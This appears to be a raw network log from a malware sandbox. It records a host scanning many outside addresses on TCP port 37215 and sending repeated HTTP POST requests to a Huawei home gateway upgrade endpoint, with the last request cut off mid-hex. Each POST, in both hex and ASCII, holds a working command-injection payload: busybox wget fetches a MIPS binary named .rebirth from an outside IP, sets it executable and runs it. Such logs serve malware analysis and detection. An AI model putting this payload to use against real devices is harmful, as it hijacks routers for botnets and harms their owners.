Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.116.88.253:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 123.175.244.144:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.14.82.102:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 131.86.200.88:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 93.180.30.147:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.175.81.70:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.126.161.164:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.29.177.180:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 213.85.93.3:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.5.235.11:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.231.217.117:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.225.20.157:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 122.94.149.175:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.236.118.89:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.118.46.152:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.222.64.226:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.28.42.117:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.181.20.41:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.155.103.207:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.133.73.169:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.51.15.86:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.87.224.244:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 71.241.147.0:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.11.129.153:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.11.5.126:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.191.22.199:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.239.167.102:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.252.92.24:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 212.86.148.95:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.74.79.60:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 43.210.251.5:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.126.176.114:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.35.67.0:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 220.248.64.95:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.224.115.99:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.213.122.10:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.11.237.10:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.33.79.57:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.239.147.60:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.107.220.176:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.108.119.234:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.144.38.225:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.131.41.220:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.144.147.234:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.61.125.202:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.154.197.46:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.217.28.152:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.233.26.19:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.81.166.214:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.160.175.48:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.145.160.61:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.56.2.230:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.215.214.251:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 149.224.244.62:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.70.91.231:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 142.132.54.19:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.126.56.161:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 211.174.219.36:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.126.129.250:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 124.137.201.176:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.74.88.128:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.199.162.165:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 204.18.181.175:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.28.18.192:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.44.135.226:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.199.157.4:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.37.127.253:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.167.173.182:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.156.74.229:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.156.240.245:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.207.198.251:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.131.217.14:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 160.71.21.245:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.34.96.50:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.65.70.221:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.159.54.219:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 143.188.85.29:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.86.240.230:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.142.131.58:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.100.32.80:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.131.119.123:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.64.179.197:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.25.73.74:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 175.244.87.170:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.161.249.151:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.84.65.15:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.56.250.42:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.99.10.48:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 223.44.70.138:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.191.127.184:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 23.83.40.145:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.24.193.116:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.107.228.160:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.145.153.6:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 211.85.115.249:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 177.98.93.134:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.38.238.137:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 72.218.41.47:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.41.75.140:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.107.12.166:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 8.199.217.182:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.171.104.94:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 180.10.166.206:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.122.231.189:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.209.40.53:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.102.248.106:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.152.95.224:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.123.114.152:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 54.63.223.16:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.84.130.220:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 60.77.103.154:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.90.226.97:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.201.29.132:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.86.142.194:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.178.51.130:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 142.12.91.65:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.249.156.58:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 116.182.111.73:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.49.102.150:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.195.88.140:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.100.164.85:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.198.231.13:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.23.12.235:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.17.52.225:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.51.139.2:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 24.60.127.20:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.167.70.27:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.12.154.126:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.229.240.220:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 181.223.245.136:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.77.116.73:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 34.154.81.50:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.118.236.220:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.169.237.55:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.129.243.87:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.46.93.15:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.67.17.44:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 68.76.43.179:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.94.128.49:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.122.107.169:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.165.138.237:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 199.167.122.46:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.3.130.219:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.156.98.101:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.197.82.118:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.159.145.86:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.120.59.138:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 52.195.36.48:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.216.217.139:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.190.62.109:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 204.136.153.113:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.140.28.214:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 142.113.213.78:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.158.127.13:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.35.189.172:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 48.23.240.172:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.109.9.35:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.167.126.15:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.23.53.124:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.75.75.48:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.212.215.165:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.110.175.107:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.127.0.242:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.16.238.239:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.130.25.143:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.169.158.141:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.148.77.14:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.33.46.136:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.32.19.180:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.59.161.248:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.13.107.191:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.176.124.47:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.9.219.117:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.217.252.90:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.115.177.246:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.191.4.177:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 185.109.246.145:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.101.80.231:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.237.120.112:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.27.65.226:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.10.81.186:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.25.17.208:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 204.34.89.254:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.65.125.118:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.15.153.147:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.127.134.0:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.22.236.254:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.236.131.65:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.87.132.147:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 25.139.156.233:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.27.133.106:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.25.228.22:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 62.184.215.98:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 73.9.223.234:37215
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 460Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 37 30 2e 31 34 39 2e 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 3b 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.70.149.14 -l /tmp/.rebirth -r /mips; /bin/busybox chmod 777 /tmp/.rebirth; /tmp/.rebirth huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 460Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 37 30 2e 31 34 39 2e 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 3b 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.70.149.14 -l /tmp/.rebirth -r /mips; /bin/busybox chmod 777 /tmp/.rebirth; /tmp/.rebirth huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 460Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 37 30 2e 31 34 39 2e 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 3b 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.70.149.14 -l /tmp/.rebirth -r /mips; /bin/busybox chmod 777 /tmp/.rebirth; /tmp/.rebirth huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 460Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 37 30 2e 31 34 39 2e 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 3b 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.70.149.14 -l /tmp/.rebirth -r /mips; /bin/busybox chmod 777 /tmp/.rebirth; /tmp/.rebirth huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 460Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 37 30 2e 31 34 39 2e 31 34 20 2d 6c 20 2f 74 6d 70 2f 